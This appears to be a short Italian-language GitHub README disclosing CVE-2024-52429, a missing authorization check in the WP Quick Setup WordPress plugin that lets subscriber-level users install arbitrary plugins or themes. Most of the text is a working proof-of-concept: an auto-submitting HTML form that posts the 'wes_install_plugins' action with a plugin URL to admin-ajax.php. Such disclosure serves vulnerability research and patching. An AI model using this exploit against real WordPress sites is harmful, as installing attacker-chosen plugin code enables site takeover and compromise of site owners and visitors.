randomrobbiebf/cve-2024-52429WP Quick Setup <= 2.0 - Autorizzazione mancante per l'installazione arbitraria di plugin/temi da parte di utenti autenticati (Subscriber+)
WP Quick Setup <= 2.0 - Autorizzazione mancante per l'installazione arbitraria di plugin/temi da parte di utenti autenticati (Subscriber+)
Il plugin WP Quick Setup per WordPress è vulnerabile all'installazione non autorizzata di plugin e temi a causa di un controllo delle capacità mancante su una funzione in tutte le versioni fino alla 2.0 inclusa. Questo lo rende
Type: plugin
CVSS Score: 8.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52429
Accedi come subscriber e poi esegui questo html
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wes_install_plugins" />
<input type="hidden" name="plugin_urls[]" value="https://downloads.wordpress.org/plugin/wdes-responsive-mobile-menu.zip" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>